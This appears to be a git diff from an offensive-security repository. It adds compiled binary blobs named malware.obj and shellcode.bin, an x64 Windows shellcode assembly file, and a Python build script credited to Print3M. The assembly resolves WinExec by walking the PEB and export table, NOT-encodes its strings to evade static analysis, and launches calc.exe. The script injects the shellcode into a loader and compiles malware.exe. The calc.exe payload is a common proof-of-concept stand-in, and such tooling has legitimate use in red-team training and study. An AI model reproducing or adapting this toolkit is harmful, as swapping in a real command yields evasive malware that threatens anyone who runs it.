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 Yq{6(~d>%4lRLhGH$^UHs5jF6?0H=tCzW@LL literal 0 HcmV?d00001 diff --git a/out/malware.obj b/out/malware.obj new file mode 100644 index 0000000000000000000000000000000000000000..ff089d071a5d12c2666c507a95d4463f8cb64d26 GIT binary patch literal 2255 zcma)8U2GIp6uz^w&{EJs#Ka2XKqe6qGwiZhD`|9>F6B1v!opUtw7Q+$nYL4AcQ(7T z1vQ3018#;!{0RvaeNn-LV62I;<-xS2+B5;O5JUWV5n{9o!4Mv5d~iMI&dj>YlP5d( zocrDH+@Evrxp$SL^`vBt^pzG6vYOZ;DLFM|4yjI+yaYxk=hhtEu#`xOnk@8-aknK4 z#^`;#AX&OuGS&U2n9jJoJ7BE#5YouoNIfWl#CoOuifqa*i;(4DCV-Q7c-VE2_<~Zl zmbV1(*MU=Xc&Hd}$k5HC4mDerf;#JPT#PjMU>!BXk{@88ukPaoNo+z&4eZS~Z>+cm z!8!qPtC0p+iy*8IZ)p#`5b2C`Y~Hk{P|y@f*OF`g7Yr_K(a!t0+auv^q3D+Q8o>*r z-Gwg+pGdf6IQX7TJ^2Au*Hea~=6Z~R*^`#_eR58fjN~BML|T_2y+j@YkER2pqN7?W zXXK4OQ&_umov=M?YH96NEz>Ww8R@L1t2yX9xNA2(bennzp%z;!4NTMG8=?=8nXt&B zL5IU)j1E75bD`E>)Ve#4F}(LN5PX*bv_OZ(aq6Kl;)8lAFk60@(TicR1)Iax1Rd^# zZmfvdGKWowMusEe#?Y96)e>v6-M}kIq4%{&1dRl;B`_NSrfY&vG6?!o+cz*l zt>bL|G;oQHL=R2l0uwJ^#3ihP&r6NL%En)SD=L5 z2kd7k@vwPG(@HOC;5rDO_4EQjFlyLWBYgG=!(?y;HyK7e~0MsQ+5n+PN}{)=yz;j}YZ9M*Y8pt)v*`rf+TN?xOw) zTD-Y~T1!M2BxJQ7iEuNtc>UfPa{(<+-1@bvFJyVc@EwkD6LB2l;A9;gYy9-&+ZT?F zoTl?7IyqM#+cEb!thb~1EfDDZjTjv}{o%W(uZ|oW0Y;1#Z_x4-J#t$Jm9I;Ea88}o z{Zl5SpQ~hoB45f9NasTvS= z7X&xg6%UcKTHdXp_K+1&_Nyi|$cmC9ITc18QkhL=ng>5P@MGi6_V%kE(eUv_r=D#; zHGFycsYkDEc>K=S=RZ6A$8%Eyf7hqKeDBQjPmI=`U3clv^`DF$uiU}G6r`@CDNP5w zoV|`jyOE2-3!$sqlY{Ul!D(sB!5LFK2S6zfv`fpG z1z8X2x{<1dVmZUKUAM-moKfJNX&X>edx4c#Q-z#nzLH2GkVqNEUQH!pA+t}*C?eZm Nkv;ylUF~2~{{_Nm&C37) literal 0 HcmV?d00001 diff --git a/out/shellcode.bin b/out/shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..c6bdb1771b8d6898aaa51d3501fcbe8c3b2db2cf GIT binary patch literal 472 zcmYdkV`MnjJu8iqk%57W0Rr?&QY%WJY!G!8h;4uvqy`2Q7y=SJ4F7w4f1c{m9g*PC z9W4RG3Lf3kU=*$3*?FTo+Qx_Ru!rHvw8n$~J3J1)}GKR;wB%)1Hm9W8V<61?BHK9ZQ`!>S#vzTU+_5if+HaC#fJa?|9f^G11j+N z{xHB}$DDbS=UklCJ`1QKz@zh_$Nxhf&2JPO|6kKf%gjlI`tIL<28MLT;*8XsoaFqJ zRK3LFT(Assz<|PnnGqB;s6a0^F)`%i=NBLeFfcJ><|U&D pGJ&P}krXj8Bo<^ABMAU?Ndvj*sU<*(#FUgGhN4uU&1I=zHUJJChkgJ6 literal 0 HcmV?d00001 diff --git a/shellcode.asm b/shellcode.asm new file mode 100644 index 0000000..43b5566 --- /dev/null +++ b/shellcode.asm @@ -0,0 +1,96 @@ +; Compile & get shellcode from Kali: +; nasm -f win64 popcalc.asm -o popcalc.o +; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done +; Get kernel32.dll base address +xor rdi, rdi ; RDI = 0x0 +mul rdi ; RAX&RDX =0x0 +mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB +mov rbx, [rbx+0x18] ; RBX = Address_of_LDR +mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll +mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll +mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll +mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) +mov r8, rbx ; RBX & R8 = &kernel32.dll + +; Get kernel32.dll ExportTable Address +mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader +add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader +xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add +add cx, 0x88ff +shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 +mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable +add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable + +; Get &AddressTable from Kernel32.dll ExportTable +xor r10, r10 +mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable +add r10, r8 ; R10 = &AddressTable + +; Get &NamePointerTable from Kernel32.dll ExportTable +xor r11, r11 +mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable +add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) + +; Get &OrdinalTable from Kernel32.dll ExportTable +xor r12, r12 +mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable +add r12, r8 ; R12 = &OrdinalTable + +jmp short apis + +; Get the address of the API from the Kernel32.dll ExportTable +getapiaddr: +pop rbx ; save the return address for ret 2 caller after API address is found +pop rcx ; Get the string length counter from stack +xor rax, rax ; Setup Counter for resolving the API Address after finding the name string +mov rdx, rsp ; RDX = Address of API Name String to match on the Stack +push rcx ; push the string length counter to stack +loop: +mov rcx, [rsp] ; reset the string length counter from the stack +xor rdi,rdi ; Clear RDI for setting up string name retrieval +mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] +add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll +mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) +repe cmpsb ; Compare strings at RDI & RSI +je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API +incloop: +inc rax +jmp short loop + +; Find the address of GetProcAddress by using the last value of the Counter +resolveaddr: +pop rcx ; remove string length counter from top of stack +mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. +mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] +add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress +push rbx ; place the return address from the api string call back on the top of the stack +ret ; return to API caller + +apis: ; API Names to resolve addresses +; WinExec | String length : 7 +xor rcx, rcx +add cl, 0x7 ; String length for compare string +mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec +not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis +shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll +push rax +push rcx ; push the string length counter to stack +call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable +mov r14, rax ; R14 = Kernel32.WinExec Address + +; UINT WinExec( +; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 +; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL +; ); +xor rcx, rcx +mul rcx ; RAX & RDX & RCX = 0x0 +; calc.exe | String length : 8 +push rax ; Null terminate string on stack +mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" +not rax +;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 +push rax ; RSP = "calc.exe",0x0 +mov rcx, rsp ; RCX = "calc.exe",0x0 +inc rdx ; RDX = 0x1 = SW_SHOWNORMAL +sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) +call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/shellcoder.py b/shellcoder.py new file mode 100644 index 0000000..e630315 --- /dev/null +++ b/shellcoder.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# +# Shellcoder.py : +# +# Author: Print3M (https://github.com/Print3M) +# +# This script helps automate the shellcode testing process. +# It takes an Assembly file with shellcode, compiles +# it into machine code (NASM), generates a payload in C with that, +# and pastes it into the loader C file. Finally, the prepared C file +# is compiled using MSVC. With this script you go from Assembly +# shellcode to executable file with one command! +# +# External dependencies: +# - Python 3 +# - NASM (Netwide Assembler) +# - Visual Studio 2022 + +import subprocess +import os +import sys + +# Directory with output files +OUT_DIR = "out" + +# Utility files +SHELLCODE_INPUT_FILE = "shellcode.asm" +SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin" +LOADER_INPUT_FILE = "loader.c" +LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c" + +# String to be replaced by generated payload +PAYLOAD_STRING = ":PAYLOAD:" + +# Name of final binary output file +BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe" + +# Batch script with Visual Studio compiler environment variables +MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat" + + +def is_cmd_available(cmd: str): + try: + subprocess.call(cmd, text=True) + except FileNotFoundError: + return False + + return True + + +def assert_cmd(cmd: str): + if (is_cmd_available(cmd)): + return + + print(f"[!] command not found: {cmd}", file=sys.stderr) + sys.exit(-1) + + +if __name__ == "__main__": + # Check if NASM is available + assert_cmd("nasm") + + # Prepare output directory + os.makedirs(OUT_DIR, exist_ok=True) + + # Compile Assembly + subprocess.run( + ["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True + ) + + print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}") + + # Prepare C array with shellcode payload + payload = "" + with open(SHELLCODE_OUTPUT_FILE, "rb") as f: + bytes = bytearray(f.read()) + + size = len(bytes) + + for byte in bytes: + payload += "\\" + hex(byte).lstrip("0") + + print(f"[+] Payload size: {size} bytes") + + # Inject payload into loader source code + with open(LOADER_INPUT_FILE, "r") as f: + loader = f.read() + + loader = loader.replace(PAYLOAD_STRING, payload) + + with open(LOADER_OUTPUT_FILE, "w") as f: + f.write(loader) + + print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}") + + # Compile final binary + print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n") + + cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"' + proc = subprocess.run(cmd, check=True, text=True) + + print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")